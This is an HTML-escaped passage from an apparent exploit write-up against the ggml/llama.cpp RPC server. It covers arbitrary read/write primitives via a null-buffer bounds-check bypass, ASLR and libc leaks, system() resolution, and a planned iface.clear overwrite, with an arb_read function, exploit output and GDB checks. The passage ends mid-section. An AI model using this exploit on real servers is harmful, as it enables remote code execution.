  &lt;li&gt;Leak a function pointer to find &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libggml-base.so&lt;/code&gt; (break ASLR)&lt;/li&gt;
  &lt;li&gt;Read GOT[memcpy] to leak libc&lt;/li&gt;
  &lt;li&gt;Calculate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt; via Build-ID lookup&lt;/li&gt;
  &lt;li&gt;Write payload (command string + &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt; address) into the buffer’s data region&lt;/li&gt;
  &lt;li&gt;Overwrite the buffer’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iface&lt;/code&gt; struct using the arbitrary write primitive&lt;/li&gt;
  &lt;li&gt;Trigger &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BUFFER_CLEAR&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system(command_string)&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;the-exploit--step-by-step-with-gdb&quot;&gt;The Exploit – Step by Step with GDB&lt;/h2&gt;

&lt;h3 id=&quot;step-1-allocate-a-staging-buffer&quot;&gt;Step 1: Allocate a Staging Buffer&lt;/h3&gt;

&lt;p&gt;The first thing the exploit does is connect to the server and allocate a buffer using the normal &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ALLOC_BUFFER&lt;/code&gt; RPC command. This is completely legitimate protocol usage – nothing malicious yet.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ python3 linux_exploit.py 10.10.10.5 50052 10.10.14.1 4447

[*] Connecting to 10.10.10.5:50052
[+] Server version 3.6.1

[Step 1] Allocating staging buffer
    remote_ptr  = 0x000056cb2b78ef60  (ggml_backend_buffer*)
    buffer_base = 0x000056cb2b791880  (data region)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote_ptr&lt;/code&gt; is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ggml_backend_buffer_t&lt;/code&gt; heap object. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer_base&lt;/code&gt; is the raw memory region backing it. These change every run due to ASLR.&lt;/p&gt;

&lt;p&gt;Let’s look at what this buffer object looks like in GDB. I attached to a running server and ran the exploit, then inspected &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote_ptr&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  x/10gx 0x56cb2b78ef60
0x56cb2b78ef60: 0x00007df643fee820    ← iface.free_buffer
0x56cb2b78ef68: 0x00007df64437f820    ← iface.get_base
0x56cb2b78ef70: 0x00007df643fee940    ← iface.init_tensor
0x56cb2b78ef78: 0x0000000000000000    ← iface.memset_tensor (NULL)
0x56cb2b78ef80: 0x00007df643feee50    ← iface.set_tensor
0x56cb2b78ef88: 0x00007df643fef180    ← iface.get_tensor
0x56cb2b78ef90: 0x00007df643fee9f0    ← iface.cpy_tensor
0x56cb2b78ef98: 0x00007df643feeb80    ← iface.clear          ← THIS IS OUR TARGET
0x56cb2b78efa0: 0x0000000000000000    ← iface.reset (NULL)
0x56cb2b78efa8: 0x000056cb2b78de20    ← buft
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Every pointer in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iface&lt;/code&gt; vtable points into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libggml-base.so&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libggml-rpc.so&lt;/code&gt;. These are the legitimate function pointers. Our goal: overwrite &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iface.clear&lt;/code&gt; at offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+0x38&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt; from libc.&lt;/p&gt;

&lt;h3 id=&quot;step-2-building-arbitrary-readwrite-primitives&quot;&gt;Step 2: Building Arbitrary Read/Write Primitives&lt;/h3&gt;

&lt;p&gt;The exploit constructs two core primitives using the null-buffer bypass:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Arbitrary Read&lt;/strong&gt; – via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GGML_OP_CPY&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Create a source tensor with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer=0&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data=&amp;lt;target_addr&amp;gt;&lt;/code&gt; (bypasses bounds check)&lt;/li&gt;
  &lt;li&gt;Create a destination tensor with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer=remote_ptr&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data=buffer_base&lt;/code&gt; (valid buffer)&lt;/li&gt;
  &lt;li&gt;When ggml executes CPY, it reads from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;target_addr&lt;/code&gt; and writes to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer_base&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Retrieve the copied data via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET_TENSOR&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Arbitrary Write&lt;/strong&gt; – same trick reversed:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Source tensor: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer=0&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data=buffer_base&lt;/code&gt; (where we placed our payload)&lt;/li&gt;
  &lt;li&gt;Destination tensor: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer=0&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data=&amp;lt;target_addr&amp;gt;&lt;/code&gt; (bypasses bounds check)&lt;/li&gt;
  &lt;li&gt;ggml copies from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer_base&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;target_addr&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both primitives go through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GRAPH_COMPUTE&lt;/code&gt; (command 10) – the normal tensor computation path. The only difference from legitimate use: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer=0&lt;/code&gt; on the source/destination tensors, which skips bounds checking while leaving the attacker-controlled &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; pointer intact.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remote_ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;Read n_bytes from target_addr using the null-buffer CPY bypass.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;n_elems&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n_bytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_pack_tensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x3001&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;          &lt;span class=&quot;n&quot;&gt;target_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;GGML_OP_NONE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt;       &lt;span class=&quot;n&quot;&gt;n_elems&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;dst&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_pack_tensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x3002&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remote_ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;GGML_OP_CPY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x3001&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n_elems&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&amp;lt;I&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&amp;lt;I&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&amp;lt;Q&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x3002&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&amp;lt;I&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dst&lt;/span&gt;
    &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_send_cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RPC_CMD_GRAPH_COMPUTE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# Retrieve copied data via GET_TENSOR
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;rt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_pack_tensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x3002&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remote_ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GGML_OP_NONE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n_elems&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_send_cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RPC_CMD_GET_TENSOR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&amp;lt;Q&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&amp;lt;Q&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n_elems&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_recv_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flags=16&lt;/code&gt; marks the destination tensor as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GGML_TENSOR_FLAG_INPUT&lt;/code&gt;, telling ggml this is a pre-allocated buffer that doesn’t need its own memory allocation.&lt;/p&gt;

&lt;h3 id=&quot;step-3-breaking-aslr--leaking-libggml-baseso&quot;&gt;Step 3: Breaking ASLR – Leaking libggml-base.so&lt;/h3&gt;

&lt;p&gt;With arbitrary read established, the first information leak target is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iface.get_base&lt;/code&gt; at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote_ptr + 0x08&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Step 2] Leaking iface.get_base function pointer
    iface.get_base = 0x00007df64437f820
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is a code address inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libggml-base.so&lt;/code&gt;. To find the library base, the exploit scans backward page-by-page (0x1000 bytes) looking for the ELF magic bytes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\x7fELF&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Step 3] Scanning backward for ELF magic
    [+] libggml-base.so base: 0x00007df644350000  (step 48)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s verify this in GDB:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  info proc mappings | grep libggml-base
  0x7df644350000     0x7df6443a5000    r-xp   libggml-base.so.0.9.8
  0x7df6443a5000     0x7df6443c4000    r--p   libggml-base.so.0.9.8
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Confirmed: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libggml-base.so&lt;/code&gt; base is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x7df644350000&lt;/code&gt;. Now let’s verify the leaked function pointer falls inside it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  disas 0x00007df64437f820
   0x7df64437f820 &amp;lt;ggml_backend_cpu_buffer_get_base&amp;gt;:  push   rbp
   0x7df64437f821 &amp;lt;ggml_backend_cpu_buffer_get_base+1&amp;gt;:  mov    rbp, rsp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The leaked pointer resolves to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ggml_backend_cpu_buffer_get_base&lt;/code&gt; – the CPU backend’s implementation of the buffer interface. Confirmed.&lt;/p&gt;

&lt;h3 id=&quot;step-4-leaking-libc-via-the-got&quot;&gt;Step 4: Leaking libc via the GOT&lt;/h3&gt;

&lt;p&gt;With the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libggml-base.so&lt;/code&gt; base known, I can read its GOT (Global Offset Table). Even though Full RELRO makes the GOT read-only after resolution, the entries still contain the resolved addresses – they’re just not writable. Perfect for a leak.&lt;/p&gt;

&lt;p&gt;The GOT entry for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcpy&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libggml-base.so&lt;/code&gt; is at a fixed file offset:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ readelf -r compiled/libggml-base.so | grep memcpy
0000000a8598  002600000007 R_X86_64_JUMP_SLO  memcpy@GLIBC_2.14 + 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xa8598&lt;/code&gt; from the library base:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Step 4] Reading GOT[memcpy] to leak libc
    memcpy@libc   = 0x00007df643da0880
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s verify in GDB. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.got.plt&lt;/code&gt; section starts at file offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xa7000&lt;/code&gt;, mapping to virtual address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x7df6443a5000 + (0xa7000 - 0xa5000) = 0x7df6443a7000&lt;/code&gt;. The memcpy GOT entry is at:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  x/1gx 0x7df6443a5000 + (0xa8598 - 0xa5000)
0x7df6443ae598: 0x00007df643da0880
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This points into libc. Let’s confirm:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  info proc mappings | grep libc
  0x7df643c00000     0x7df643c00000    r--p   libc.so.6
  0x7df643c1f000     0x7df643dbf000    r-xp   libc.so.6
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Wait – let me check that more carefully:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  disas 0x00007df643da0880
   0x7df643da0880 &amp;lt;__memmove_avx_unaligned_erms&amp;gt;:  endbr64
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__memmove_avx_unaligned_erms&lt;/code&gt; – the IFUNC-resolved implementation of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcpy&lt;/code&gt; for this CPU. The offset from libc base:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x7df643da0880 - 0x7df643c00000 = 0x1a0880
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Confirmed against the local libc:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ objdump -t /lib/x86_64-linux-gnu/libc.so.6 | grep __memmove_avx_unaligned_erms
00000000001a0880 l     F .text  00000000000006de  __memmove_avx_unaligned_erms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x1a0880&lt;/code&gt; matches exactly.&lt;/p&gt;

&lt;h3 id=&quot;step-4b-finding-the-libc-base&quot;&gt;Step 4b: Finding the libc Base&lt;/h3&gt;

&lt;p&gt;The exploit scans backward from the memcpy address for ELF magic:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Step 4b] Scanning backward from memcpy -&amp;gt; libc base
    [+] libc.so.6 base: 0x00007df643c00000  (step 417)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Verification in GDB:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  x/1wx 0x7df643c00000
0x7df643c00000: 0x464c457f    ← b&apos;\x7fELF&apos; in little-endian
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Confirmed.&lt;/p&gt;

&lt;h3 id=&quot;step-4c-automatically-resolving-system-via-build-id&quot;&gt;Step 4c: Automatically Resolving system() via Build-ID&lt;/h3&gt;

&lt;p&gt;Here’s where the exploit gets portable. Instead of hardcoding libc offsets (which would break on different systems), it reads the first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x4000&lt;/code&gt; bytes of libc from the remote server, extracts the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.note.gnu.build-id&lt;/code&gt;, and queries &lt;a href=&quot;https://libc.rip&quot;&gt;libc.rip&lt;/a&gt; for the symbol offsets:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Step 4c] Leaking libc Build-ID...
    [+] Build-ID: 095c7ba148aeca81668091f718047078d57efddb
    [+] system() = libc_base + 0x50d70 = 0x00007df643c50d70
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s verify locally:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ readelf -n /lib/x86_64-linux-gnu/libc.so.6 | grep &apos;Build ID&apos;
    Build ID: 095c7ba148aeca81668091f718047078d57efddb

$ objdump -t /lib/x86_64-linux-gnu/libc.so.6 | grep &apos;\bsystem\b&apos;
0000000000050d70 g     F .text  000000000000002d  system
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Build-ID matches, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt; is at offset &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x50d70&lt;/code&gt;. Verified.&lt;/p&gt;

&lt;p&gt;The final computation:&lt;/p&gt;

